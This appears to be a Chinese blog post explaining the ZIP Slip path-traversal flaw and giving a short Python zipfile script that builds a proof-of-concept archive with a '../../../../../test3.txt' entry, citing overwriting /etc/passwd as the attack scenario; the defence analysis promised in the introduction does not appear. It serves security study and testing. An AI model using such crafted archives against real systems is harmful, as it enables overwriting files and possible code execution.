Python zipfile 模块与 ZIP Slip 漏洞的 POC 制作

Python zipfile 模块与 ZIP Slip 漏洞的 POC 制作

ZIP Slip(目录遍历漏洞)是压缩文件处理中高危安全漏洞,攻击者可通过构造恶意 ZIP 文件突破解压路径限制,实现任意文件覆盖甚至远程代码执行。本文将以 Python zipfile 模块为核心,结合漏洞原理与防御机制,演示如何制作 ZIP Slip 的 POC(概念验证代码),并分析其技术实现与安全影响。

一、ZIP Slip 漏洞原理

ZIP Slip 的核心在于解压程序未对压缩包内文件的路径名进行严格校验,允许攻击者通过 ../(Linux/macOS)或 ..\(Windows)等相对路径符号跳出目标解压目录,将文件写入系统敏感位置。例如:

  • 攻击场景:解压目录预设为 /tmp/upload,攻击者构造文件名 ../../etc/passwd 的恶意文件。
  • 实际路径:解压时路径拼接为 /tmp/upload/../../etc/passwd,最终写入 /etc/passwd,覆盖系统用户配置文件。

二、构造恶意 ZIP 文件

攻击者需创建包含路径遍历文件名的 ZIP 文件。以下代码演示如何生成恶意 ZIP:

import zipfile

if __name__ == "__main__":
    try:
        # 创建或追加内容到一个名为 exp.zip 的 ZIP 压缩文件
        zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED) 
        
        # 在 exp.zip 中添加 test.txt 文件
        zipFile.writestr("test.txt", b"test")
        
        # 将本地的a.png 压缩到 exp.zip 中(利用open.read读取本地文件二进制数据)
        zipFile.writestr("a.png", open("a.png", "rb").read())
        
        # 当末尾为 / 时,创建空目录 dir
        zipFile.writestr("dir/", b"")
        
        # 在目录 dir 下创建 test2.txt 文件
        zipFile.writestr("dir/test2.txt", b"test")
        
        # 路径遍历 test3.txt, 之前上面均为用于构造符合系统要求的zip文件, 路径遍历主要通过 ../..
        zipFile.writestr("../../../../../test3.txt", b"test")
        
        zipFile.close()
    except IOError as e:
        raise e

执行后就会生成一个 exp.zip 的压缩包

posted @ 2026-02-26 14:38  测试小罡  阅读(105)  评论(0)    收藏  举报